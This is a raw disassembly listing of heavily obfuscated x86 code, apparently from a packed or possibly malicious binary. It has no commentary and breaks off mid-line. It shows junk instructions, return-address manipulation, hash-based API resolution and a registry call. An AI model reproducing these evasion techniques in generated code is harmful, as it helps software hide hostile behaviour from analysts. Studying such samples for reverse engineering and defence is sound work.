0CE9D8D07h dd 0FF07EBD7h, 83585BD3h, 0E91A45BDh, 17740007h, 0D0B85350h dd 89000007h, 0E911F985h, 0BD9D8D07h, 0FF07EBD4h, 9585BD3h dd 0E92E4D95h, 499D3107h, 8B07E907h, 38B0FC0h, 0F000000h dd 0B70FC9BFh, 5985C6D3h, 5307E926h, 15B501h, 8D8907E9h dd 7E90F95h, 395F9068h, 91958B99h, 0FF07E910h, 0E92669B5h dd 0A6DA8007h, 3ABC858Dh, 0BF0F07E9h, 0FD0FFD1h, 8Ah, 85858900h dd 6A07E922h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 528FC352h, 2AED27A8h, 1CCAD85Dh dd 5ACA8B56h, 68A0Fh, 0BD0B0000h, 7E92E65h, 265985C6h dd 895707E9h, 0E91979B5h, 5E907h, 89470000h, 68D8590Ch dd 90045206h, 68C0Fh, 0BD8B0000h, 7E93481h, 7FEA8166h dd 69B5FFE0h, 8907E926h, 0E913918Dh, 0D99D8907h, 8D07E912h dd 0E93ABC85h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0A863FC16h, 0FCE30EEEh dd 8B51D0FFh, 0E9200DBDh, 85895907h, 7E9233Dh, 68F0Fh dd 9D010000h, 7E92A29h, 265985C6h, 6A4307E9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 76C1C353h, 8ABDD2D4h, 10E9F5h, 6E9E0000h, 9283B2B6h dd 43CEE89Bh, 7591BDB6h, 28686076h, 0FBC9070h, 58Ch, 0C9D5BA00h dd 11E9229Bh, 0CF000000h, 4B40A73Eh, 59B4D8C7h, 19C1D730h dd 447C2AE2h, 2669B5FFh, 0F6007E9h, 860FC0BFh, 6, 1BD9D8Bh dd 8D6107E9h, 0E93ABC85h, 10E907h, 194D0000h, 46DE1A66h dd 506D9C35h, 94BF216h, 0D0FFCE1Eh, 2289BD8Bh, 858907E9h dd 7E91D79h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0CC35545h, 0ABD26286h, 265985C6h, 0F4C07E9h, 89h dd 1CE96800h, 6AD9DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0D25E2CC3h, 1E6734CFh, 0FF5D655Ch dd 0E92669B5h, 49858907h, 8D07E907h, 0E93ABC85h, 3CD8007h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0FC23D7C3h, 0D4D18166h, 418589EAh, 0C607E900h dd 0E9265985h, 0BF664607h, 8B505C94h, 0E90025BDh, 14685F07h dd 29BADE06h, 0E9260D95h, 69B5FF07h, 6607E926h, 0D48ECA81h dd 49958B57h, 5A07E935h, 3ABC858Dh, 0D0FF07E9h, 4957BA66h dd 0C458589h, 13E907E9h, 22000000h, 6BB50593h, 80F0F996h dd 0E6052AE5h, 88B34B6Ch, 85C6B253h, 7E92659h, 9D958947h dd 6807E911h, 8A0FB5E2h, 14870Fh, 0E9600000h, 7, 49BEEDFh dd 0FE067F6h, 80h, 0B5FF6100h, 7E92669h, 498D8Bh, 858D07E9h dd 7E93ABCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 8BC35343h, 48819CA9h, 0D0FF83A9h, 8589FE8Bh, 7E92489h dd 6109C1BFh, 5985C622h, 4707E926h, 647DB966h, 0D0BF0F60h dd 0B5F36861h, 8B6683D0h, 69B5FFD7h, 6A07E926h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0DD95C353h, 7DCE7Ah, 0CE9D9h, 0F7F90000h, 0FDBC11F4h dd 0FE6864C8h, 858D0230h, 7E93ABCh, 0D0FFFA8Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C0C35343h, 15E4896Fh dd 89AF6FB6h, 0E900CD85h, 6E907h, 0A9DB0000h, 9635604Ch dd 265985C6h, 37707E9h, 0E9265D8Dh, 0A8A36807h, 0CE9F397h dd 0A7000000h, 14354EC3h, 157B8026h, 0FFB31F83h, 0E916B5B5h dd 37BF6607h, 0BC858DB1h, 3107E93Ah, 0E91C3D85h, 8BD0FF07h dd 0E930118Dh, 0D5858907h, 0B607E90Ah, 5985C657h, 4707E926h dd 0FAF668F9h, 6A8728h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8B66D9C3h, 69B5FFCEh, 6607E926h dd 858DCE8Bh, 7E93ABCh, 34418589h, 0D0FF07E9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 76C35141h, 810FE6FFh dd 6, 29D1958Bh, 858907E9h, 7E91665h, 15C9952Bh, 0E78107E9h dd 534AD2BFh, 265985C6h, 664307E9h, 685696BAh, 0BC8E6EFCh dd 68F0Fh, 8D8B0000h, 7E90F0Dh, 2669B5FFh, 6A07E9h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0EE6635C3h, 0BDA29BFCh, 3ABC858Dh, 816007E9h, 2F123FF0h dd 0D0FF614Dh, 22D9BD89h, 858907E9h, 7E91C0Dh, 199D8B60h dd 6607E916h, 6443EB81h, 0C6D08B61h, 0E9265985h, 6A4507h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0A8B459C3h, 61958960h, 0E907E91Fh, 14h, 16577D4Fh, 330446FFh dd 0E9900E1Dh, 9C2668DCh, 21C61574h, 69696861h, 14E98E72h dd 3E000000h, 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah dd 0FF797235h, 0E92669B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8D78B580h dd 0E93ABC85h, 0D08B6607h, 8D0FD0FFh, 6, 2EA99D89h, 858907E9h dd 7E9138Dh, 85E78166h, 5985C6A7h, 4407E926h, 0EE9h, 76C12A00h dd 15BDD2D4h, 0BE3C3D15h, 68AA9A45h, 0B8F2EC64h, 3591BD89h dd 0B5FF07E9h, 7E92669h, 115D8D8Bh, 858D07E9h, 7E93ABCh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C5C35141h dd 0E7F68451h, 95BD8B11h, 0F07E90Ch, 489h, 5A505200h, 66D0FF5Fh dd 8BE480BAh, 0E91ECD95h, 0E1858907h, 6007E91Fh, 0FE1B531h dd 0B70F07E9h, 8D0161F8h, 7E90F01h, 265985C6h, 524307E9h dd 5F69E580h, 764AA768h, 0C9B70FC0h dd 2669B5FFh, 0CE907E9h, 0F3000000h, 0D44A1EEDh, 43BFE176h dd 89A397B1h, 0E924C195h, 0BC858D07h, 0BF07E93Ah, 4D4B72BEh dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8B3604C3h, 0E93219BDh, 39858907h, 6607E901h dd 0ACC2E281h, 2BB5BD80h, 0F0007ECh, 0D084h, 0D2816600h dd 858D9236h, 7EC2B97h, 161D8D0Bh, 50F907E9h, 8E9h, 0F6818200h dd 822255Ah, 89016A19h, 0E90ECD8Dh, 0F006A07h, 6AF8B7h dd 7E9h, 0FBB59500h, 57533B3Eh, 1D7995FFh, 9D3107E9h, 7E91819h dd 125D8589h, 13E907E9h, 7F000000h, 1497DA1h, 21359D21h dd 1E105689h, 0C151AB7h, 0FF6A5985h, 0B5FF10B1h, 7E9125Dh dd 6820Fh, 8D8B0000h, 7E91825h, 0F850Fh, 0AE90000h, 0D7000000h dd 6B3D6A6Ch, 10F765DEh, 3D95FF09h, 6A07E923h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 7300C351h, 12E9h, 0BB776D00h, 899E6C6Bh, 0A754EB45h dd 460E1B86h, 89FCAF65h, 0E92AF185h, 81C08B07h, 91E7C7CAh dd 0A5BD835Ch, 7E918h, 0BD830975h, 7E91A45h, 50197400h dd 0B8C08B53h, 7D1h, 11F98589h, 9D8D07E9h, 7EBD7CEh, 585BD3FFh dd 1A45BD83h, 740007E9h, 0B8535017h, 7D1h, 11F98589h, 9D8D07E9h dd 7EBD4BDh, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0ADC35747h, 0B58B603Ah, 7E9252Dh, 10E9h dd 3B403700h, 0C8EB394Dh, 0EF020732h, 0BB55E828h, 0C08B61F1h dd 0E0C18166h, 5985C62Dh, 4707E926h, 51BD29h, 0C16807E9h dd 6A93C8F7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 631AC357h, 1A118D29h, 0B5FF07E9h dd 7E92669h, 20158529h, 0BD8907E9h, 7E925A5h, 3ABC858Dh dd 0BD3307E9h, 7E9248Dh, 0B70FD0FFh, 850F50CAh, 6, 0CB19D89h dd 858D07E9h, 7EC2FD8h, 15D5B589h, 0C707E9h, 94h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F2C35343h, 0D999D89h dd 815807E9h, 939AE5D2h, 0D8B58D25h, 0BA07EC2Fh, 5D60B117h dd 998D8B56h, 0FF07E91Ch, 880F51D0h, 3, 5AF8B70Fh, 2FD8858Dh dd 8B0F07ECh, 5, 0C4425B9h, 478832Bh, 10850F06h, 0C7000000h dd 0EC306C85h, 107h, 0BAC78100h, 836B0C53h, 0E909A9BDh dd 850F0007h, 60h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0BEC35242h, 4D77EFD7h, 8B57A43Dh, 0BD835AF8h dd 7EC306Ch, 2D850F00h, 8B000000h, 15BD83C8h, 7E925h, 1E840Fh dd 8D8B0000h, 7E91D01h, 29E585C7h, 7E9h, 958B0000h, 7E9029Dh dd 0FDBD8B50h, 5907E908h, 81DB8C66h, 36D70AD9h, 4C3F662h dd 558840Fh, 85C70000h, 7E91B69h, 0 ; --------------------------------------------------------------------------- mov edx, eax cmp byte ptr [ebp+7EC2BC2h], 0 jnz loc_5B7AA5 push 0 push ebp call sub_5B7A8A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7A8A proc near ; CODE XREF: sdfs____:005B7A82p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5B7A8A endp ; --------------------------------------------------------------------------- mov dl, 36h fbstp tbyte ptr [edx] inc esp push es and al, 0C6h xor dl, 0FDh loc_5B7AA5: ; CODE XREF: sdfs____:005B7A79j mov byte ptr [ebp+7E92659h], 47h jmp loc_5B7ABC ; --------------------------------------------------------------------------- js short loc_5B7B19 retf ; --------------------------------------------------------------------------- retn 0EEC0h ; --------------------------------------------------------------------------- db 36h dd 664898E3h ; --------------------------------------------------------------------------- loc_5B7ABC: ; CODE XREF: sdfs____:005B7AACj push 0E3E45B86h movzx edi, si push dword ptr [ebp+7E92669h] mov ch, 0CFh add dh, 3Ah lea eax, [ebp+7E93ABCh] mov ecx, [ebp+7E91E59h] call eax mov [ebp+7E92461h], ebx push 104h mov edi, 5CD9CCCAh mov ecx, [ebp+7E90EB1h] lea ebx, [ebp+7E913D1h] sub edx, [ebp+7E906FDh] push ebx push 0 push ecx call sub_5B7B0B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7B0B proc near ; CODE XREF: sdfs____:005B7B03p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx loc_5B7B19: ; CODE XREF: sdfs____:005B7AB1j push ecx retn sub_5B7B0B endp ; --------------------------------------------------------------------------- aad 0D5h mov bh, 9Bh call eax mov edx, [ebp+7E91A8Dh] lea eax, [ebp+7E913D1h] mov [ebp+7E90C49h], eax push eax mov ecx, [ebp+7E917D1h] lea eax, [ebp+7EC2B74h] mov ecx, [ebp+7E90269h] mov [ebp+7E92439h], edi push eax movzx edx, bx lea eax, [ebp+7EC2247h] call near ptr loc_5B7B61+1 stc test bl, dh or [ebp-1Ch], al loc_5B7B61: ; CODE XREF: sdfs____:005B7B56p shl dword ptr [esi-47h], 2Ch call fword ptr [ecx+50h] mov dx, bx call dword ptr [ebp+7E90AD5h] push 0 push ecx call sub_5B7B7C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7B7C proc near ; CODE XREF: sdfs____:005B7B74p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5B7B7C endp ; --------------------------------------------------------------------------- dd 0CE1C81E8h, 839A224Fh, 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0F60BB8C3h, 0BD8B43FCh dd 7E929D1h, 6AF98Bh, 8068h, 6A036A00h, 68006A00h, 80000000h dd 2247858Dh, 0FF5007ECh, 0E91C0D95h, 57858907h, 0C607EC2Bh dd 0E9265985h, 87684707h, 0FFC7B15Eh, 0E92669B5h, 0BC858D07h dd 0FF07E93Ah, 0FF006AD0h, 0EC2B57B5h, 0FD0FF07h, 38Bh dd 0CAB70F00h, 3DF8B70Fh, 37D0h, 6B830Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0FC3F69C3h, 2B57B5FFh, 0AE807ECh, 12000000h, 4980E47Eh dd 59E9172Eh, 0EE8D3h, 99B0000h, 5B3892CEh, 5A0EB91h, 0DB042EA4h dd 5A9FC980h, 0E195295Ah, 0FF07E918h, 0E9013995h, 4890F07h dd 66000000h, 0E9DA7EBFh, 116h, 0EDDA8166h, 57B5FF0Bh dd 6A07EC2Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 133CC355h, 52EB1B29h, 0FB8B66CCh dd 13995FFh, 8D8907E9h, 7E92B11h, 8C0F006Ah, 6, 19A98D8Bh dd 6A07E9h, 0DE960h, 0F9AF0000h, 625019EFh, 73DA5F2Ch dd 0FD70870h, 38Fh, 0EEDB8000h, 6AFA8B61h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 3C9C6EA4h, 75F9D56Fh, 5E9006Ah, 0C3000000h, 0A6CA7A51h dd 8E857h, 8AD70000h, 99F704FAh, 89B6427Ah, 6A5F5Ah, 0AC98D89h dd 6A07E9h, 8DFFB70Fh, 0EC2B5B85h, 6A50F907h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0D460C352h, 0B782B194h, 42AE4D6Eh, 2A05B509h, 0FFF807E9h dd 0E91C0D95h, 0DE907h, 14C0000h, 7EE82B4Eh, 0FFAC69E2h dd 310BEC1Ch, 0E9312985h, 0FFF88307h, 116850Fh, 858D0000h dd 7EBE2BDh, 0BB73BA66h, 0EA81D0FFh, 17B19E52h, 8D89006Ah dd 7E91D99h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 56CA14C3h, 10798589h, 665A07E9h dd 6ACF8Bh, 8E8h, 15826F00h, 2D348DC4h, 0B4B656FFh, 6A5A5Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h dd 6630C2DBh, 0F86735B3h, 0BB9006Ah, 6A47E134h, 0FA8B6600h dd 2B5B858Dh, 0BD2907ECh, 7E90261h, 0CB6AB950h, 95FF4425h dd 7E91C0Dh, 0FFFF883h, 6B85h, 0F8BF0F00h, 2563B58Dh, 8F0F07ECh dd 1Dh, 11E8h, 0B5ADF000h, 9CC8E03h, 43E5A19h, 7227A76Bh dd 830F1D03h, 0 ; --------------------------------------------------------------------------- pop edx lea eax, [ebp+7EBD19Dh] mov edx, eax call eax jmp loc_5B7E89 ; --------------------------------------------------------------------------- or byte ptr [edx+ebx*2+0C3AF073h], 20h dec edx loc_5B7E89: ; CODE XREF: sdfs____:005B7E7Bj push 0 mov [ebp+7E90815h], ecx call dword ptr [ebp+7E9138Dh] js loc_5B7EB0 call sub_5B7EAA rep imul edx, [ebx-63h], 6FF92FBFh ; =============== S U B R O U T I N E ======================================= sub_5B7EAA proc near ; CODE XREF: sdfs____:005B7E9Dp ; FUNCTION CHUNK AT 005B7F06 SIZE 0000002A BYTES mov edi, 28279E70h pop edx loc_5B7EB0: ; CODE XREF: sdfs____:005B7E97j mov [ebp+7EC2B57h], eax jge loc_5B7EC2 pusha clc movsx esi, ax popa loc_5B7EC2: ; CODE XREF: sub_5B7EAA+Cj push 0 mov [ebp+7E919DDh], ebx lea eax, [ebp+7EC2B4Fh] jge loc_5B7ED7 clc loc_5B7ED7: ; CODE XREF: sub_5B7EAA+26j push eax call sub_5B7EEC arpl [esi+4685336Ch], cx loop loc_5B7F06 cmp al, al les ecx, [esi+70h] pop ebp xchg eax, esi sub_5B7EAA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B7EEC proc near ; CODE XREF: sub_5B7EAA+2Ep ; FUNCTION CHUNK AT 005B7F56 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005B7F89 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005B9A74 SIZE 0000002D BYTES call near ptr loc_5B7EFB+3 in al, 9Ah xor ebx, ebx rep jno short loc_5B7F56 pop ebp db 64h scas dword ptr es:[edi] loc_5B7EFB: ; CODE XREF: sub_5B7EECp test [edx+870F6Ah], ebx sub_5B7EEC endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- pop edx pop edi ; START OF FUNCTION CHUNK FOR sub_5B7EAA loc_5B7F06: ; CODE XREF: sub_5B7EAA+39j push 4 mov ecx, [ebp+7E91DB1h] lea eax, [ebp+7E90905h] mov di, bx push eax mov ecx, [ebp+7E92549h] mov dh, 85h push 0 clc push 0 push 0 push ecx call sub_5B7F30 and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5B7EAA ; =============== S U B R O U T I N E ======================================= sub_5B7F30 proc near ; CODE XREF: sub_5B7EAA+7Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5B7F30 endp ; --------------------------------------------------------------------------- dd 47405356h, 4A9B64C9h, 8D85012Fh, 0E907E918h, 6 db 6Fh, 0F0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B7EEC loc_5B7F56: ; CODE XREF: sub_5B7EEC+9j rep xchg ax, dx imul ebp, [edx+1], 66h mov edx, 0B5FF0975h push edi sub ebp, esp pop es jb loc_5B7F72 mov [ebp+7E92FFDh], eax loc_5B7F72: ; CODE XREF: sub_5B7EEC+7Aj jmp loc_5B7F89 ; END OF FUNCTION CHUNK FOR sub_5B7EEC ; --------------------------------------------------------------------------- lahf mov edx, 1110EFh sub eax, 0CA3EA813h add dl, [esp+edi*4-2Ah] jl short loc_5B7FF8 sti ; START OF FUNCTION CHUNK FOR sub_5B7EEC loc_5B7F89: ; CODE XREF: sub_5B7EEC:loc_5B7F72j call dword ptr [ebp+7E91FE1h] or dh, 2Ch jmp loc_5B9A74 ; END OF FUNCTION CHUNK FOR sub_5B7EEC ; --------------------------------------------------------------------------- push 0 push edx call sub_5B7FA2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7FA2 proc near ; CODE XREF: sdfs____:005B7F9Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B7FA2 endp ; --------------------------------------------------------------------------- db 0CCh db 0E5h dd 0AD4EABFEh, 0F18166F3h, 0C08B7CA8h, 0EDBE6660h, 199D23B2h dd 6107E900h, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah dd 53501974h, 0D2B8C08Bh, 89000007h, 0E911F985h, 0CE9D8D07h dd 0FF07EBD7h, 83585BD3h ; --------------------------------------------------------------------------- loc_5B7FF8: ; CODE XREF: sdfs____:005B7F86j mov ebp, 7E91A45h add [edi+edx+50h], dh push ebx mov eax, 7D2h mov [ebp+7E911F9h], eax lea ebx, [ebp+7EBD4BDh] call ebx ; _iob pop ebx pop eax mov ch, dl add [ebp+7E92E41h], eax push 0 push ecx call sub_5B802A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B802A proc near ; CODE XREF: sdfs____:005B8022p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5B802A endp ; --------------------------------------------------------------------------- dw 89E1h ; --------------------------------------------------------------------------- push ss test eax, 8BC08B71h mov ebp, 7E91885h mov [ebp+7E90269h], esi mov dword ptr [ebp+7E91B69h], 1 add dl, 0D0h push 0CEE4E7B8h push dword ptr [ebp+7E9347Dh] lea eax, [ebp+7E93ABCh] call eax mov [ebp+7E934E5h], eax lea eax, [ebp+7EC2DB3h] push eax lea eax, [ebp+7EC3070h] push eax push 80000001h call dword ptr [ebp+7E934E5h] or eax, eax jnz short loc_5B809A mov dword ptr [ebp+7E91379h], 1 loc_5B809A: ; CODE XREF: sdfs____:005B808Ej push 0C005DBD4h push dword ptr [ebp+7E9347Dh] lea eax, [ebp+7E93ABCh] call eax mov [ebp+7E91D8Dh], eax lea eax, [ebp+7EC2000h] push eax push dword ptr [ebp+7E92669h] call dword ptr [ebp+7E92489h] or eax, eax jz short loc_5B80D5 mov ebx, eax lea eax, [ebp+7EC2FB3h] push eax call ebx ; _iob loc_5B80D5: ; CODE XREF: sdfs____:005B80C8j lea eax, [ebp+7EC2FB3h] cmp word ptr [eax], 9 jnz short loc_5B80EB mov dword ptr [ebp+7E921CDh], 1 loc_5B80EB: ; CODE XREF: sdfs____:005B80DFj call dword ptr [ebp+7E91665h] and eax, 0FFh cmp eax, 5 jnb short loc_5B8105 mov dword ptr [ebp+7E919A5h], 1 loc_5B8105: ; CODE XREF: sdfs____:005B80F9j push 0 push ebx call sub_5B8110 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8110 proc near ; CODE XREF: sdfs____:005B8108p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B8110 endp ; --------------------------------------------------------------------------- stosd sbb ah, [ecx-0C9AEDEEh] cmc add di, 0FD13h mov edx, [ebp+7E90289h] xor [ebp+7E92971h], ebx cmp byte ptr [ebp+7EC2BC2h], 0 jz loc_5B8159 cmp dword ptr [ebp+7EC306Ch], 0 jz loc_5B816A mov edx, [ebp+7E9150Dh] loc_5B8159: ; CODE XREF: sdfs____:005B8140j jmp loc_5B9A74 ; --------------------------------------------------------------------------- add [ebp+7E91081h], eax and edx, 2A0AB547h loc_5B816A: ; CODE XREF: sdfs____:005B814Dj cmp dword ptr [ebp+7E921CDh], 0 jnz loc_5B830C push 0 push edi call sub_5B8182 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8182 proc near ; CODE XREF: sdfs____:005B817Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B8182 endp ; --------------------------------------------------------------------------- a9rNemLxu1sPj db '"9R"¿…Œ+ì',7,'‹•U1é',7,'Pj',0 ; --------------------------------------------------------------------------- push edi call sub_5B81AF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B81AF proc near ; CODE XREF: sdfs____:005B81A7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B81AF endp ; --------------------------------------------------------------------------- pop ds mov ss:0EB21C78Ah, al mov edi, [ebp+7E91661h] push 1 push 0 push ebx call sub_5B81D9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B81D9 proc near ; CODE XREF: sdfs____:005B81D1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B81D9 endp ; --------------------------------------------------------------------------- db 0CDh, 0D3h, 36h dd 11A9F6FEh, 0CE9006Ah, 0D0000000h, 0A130B393h, 973798C8h dd 6A2CE819h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 4DD75CD0h, 66CC381Dh, 0FFB182B9h dd 0E91D7995h, 29C88B07h, 0E90F3595h, 0B6858907h, 6A07EC2Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 9B92C357h, 14E9h, 709CC200h, 28681EDBh, 0B88BDB6Bh dd 0CC4CB56Ch, 0C17817E7h, 6AFF6AB4h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 46E7C355h dd 6F61A8BCh, 2AA481E0h, 0AED28166h, 0FFC88B1Ah, 0EC2BB6B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 12E99Fh, 79BC0000h, 3D5ED17Dh, 0EB5558F7h dd 4532C604h, 0B535C986h, 233D95FFh, 6A07E9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C056F9C3h dd 894E0F32h, 958BCA95h, 7E90E3Dh ; --------------------------------------------------------------------------- loc_5B830C: ; CODE XREF: sdfs____:005B8171j lea eax, [ebp+7EC1FC7h] mov edi, esi mov edi, [ebp+7E901F1h] push eax or [ebp+7E9015Dh], edx call dword ptr [ebp+7E90041h] adc ecx, 6A76EA21h mov [ebp+7EC2051h], eax sub edi, 6B974308h jl loc_5B8345 mov ecx, [ebp+7E93089h] loc_5B8345: ; CODE XREF: sdfs____:005B8339j lea eax, [ebp+7EC1FD4h] push 0 push edi call sub_5B8356 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8356 proc near ; CODE XREF: sdfs____:005B834Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B8356 endp ; --------------------------------------------------------------------------- dw 70FEh ; --------------------------------------------------------------------------- sub eax, 81668CC3h fisub dword ptr [esi] inc ecx push eax push 0 push ecx call sub_5B837C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B837C proc near ; CODE XREF: sdfs____:005B8374p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5B837C endp ; --------------------------------------------------------------------------- dd 958BEACDh, 7E90F25h, 2051B5FFh, 0BD2907ECh, 7E929D9h dd 248995FFh, 6E907E9h, 54000000h, 0C226F6E5h, 0F185894Dh dd 6007E92Eh, 30299D8Bh, 858907E9h, 7E9166Dh, 42858D61h dd 0F07EC20h, 586h, 0DA816600h, 66502411h, 0BCCBD981h dd 2051B5FFh, 95FF07ECh, 7E92489h, 12618D89h, 858907E9h dd 7EC2065h, 1BC98531h, 858D07E9h, 7EC2021h, 6650CB8Bh dd 0CD58CF81h, 2051B5FFh, 950307ECh, 7E91091h, 248995FFh dd 0B96607E9h, 8E9F92Ah, 0E8000000h, 0BCDC2A6h, 89234F35h dd 0EC205D85h, 0B5895107h, 7E92189h, 14858D59h, 8907EC20h dd 0E9247185h, 6A5007h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0E14228C3h, 8B05D553h, 51B5FFC8h dd 0B107EC20h, 8995FF78h, 6A07E924h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 497FC357h dd 895DFFF3h, 0EC206185h, 2F858D07h, 6A07EC20h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 5BC8C351h, 294DE441h, 0E92FF19Dh, 0CA816607h, 0F95091EDh dd 2051B5FFh, 95FF07ECh, 7E92489h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0AC35343h, 0B70FA28Ch, 5D8589D6h dd 0F07E90Ch, 286h, 162B500h, 0E91A218Dh, 0E3858D07h, 0F07EC1Fh dd 28Fh, 50FAB200h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 12C35040h, 5C5FDE05h, 0E4D5F0D4h, 51B5FFFCh dd 0FF07EC20h, 0E9248995h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0EE917488h dd 45236EF5h, 5585896Dh, 8B07EC20h, 0E908ED8Dh, 0F2858D07h dd 6007EC1Fh, 2D958B60h, 107E921h, 0E92D49B5h, 89616107h dd 0E91345B5h, 6A5007h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0C362B1C3h, 0F60325Bh, 870FDAB7h dd 0 ; --------------------------------------------------------------------------- popa and dx, 7A3Ah push dword ptr [ebp+7EC2051h] mov ecx, esi call dword ptr [ebp+7E92489h] mov edi, 0F8A0A98h mov [ebp+7EC2059h], eax jmp loc_5B85F1 ; --------------------------------------------------------------------------- db 8Bh, 0FFh dw 0CFE5h db 1 ; --------------------------------------------------------------------------- loc_5B85F1: ; CODE XREF: sdfs____:005B85E7j push 104h mov edi, 91961FFh mov [ebp+7E91C21h], edx lea eax, [ebp+7EC20E9h] push 0 push esi call sub_5B8612 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8612 proc near ; CODE XREF: sdfs____:005B860Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5B8612 endp ; --------------------------------------------------------------------------- dw 8174h dd 5072F8F0h, 0F470BF66h, 21ED858Dh, 